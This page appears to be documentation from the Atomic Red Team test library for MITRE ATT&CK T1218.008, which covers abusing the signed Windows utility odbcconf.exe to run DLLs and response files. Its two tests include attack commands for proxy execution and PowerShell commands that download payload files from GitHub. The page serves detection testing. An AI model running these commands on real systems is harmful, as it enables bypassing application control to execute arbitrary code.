Try it using Invoke-Atomic

Signed Binary Proxy Execution: Odbcconf

Description from ATT&CK

Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.

Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)

Atomic Tests

Atomic Test #1 - Odbcconf.exe - Execute Arbitrary DLL

Execute arbitrary DLL file stored locally.

Supported Platforms: windows

auto_generated_guid: 2430498b-06c0-4b92-a448-8ad263c388e2

Inputs:

Name Description Type Default Value
dll_payload DLL to execute path PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll

Attack Commands: Run with command_prompt!

1
2

odbcconf.exe /S /A {REGSVR "#{dll_payload}"}

Dependencies: Run with powershell!

Description: T1218-2.dll must exist on disk at specified location (#{dll_payload})

Check Prereq Commands:

1
2

if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3

New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"

Atomic Test #2 - Odbcconf.exe - Load Response File

Execute arbitrary response file that will spawn PowerShell.exe. Source files: https://github.com/woanware/application-restriction-bypasses

Supported Platforms: windows

auto_generated_guid: 331ce274-f9c9-440b-9f8c-a1006e1fce0b

Inputs:

Name Description Type Default Value
rsp_file_name Response file name to load string T1218.008.rsp
rsp_file_path Response file path string PathToAtomicsFolder\T1218.008\bin\

Attack Commands: Run with command_prompt!

1
2
3

cd "#{rsp_file_path}"
odbcconf.exe -f "#{rsp_file_name}"

Dependencies: Run with powershell!

Description: T1218.008.rsp must exist on disk at specified location (#{rsp_file_path}#{rsp_file_name})

Check Prereq Commands:

1
2

if (Test-Path "#{rsp_file_path}#{rsp_file_name}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/T1218.008.rsp" -OutFile "#{rsp_file_path}#{rsp_file_name}"
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/bin/o.dll" -OutFile "#{rsp_file_path}\o.dll"

source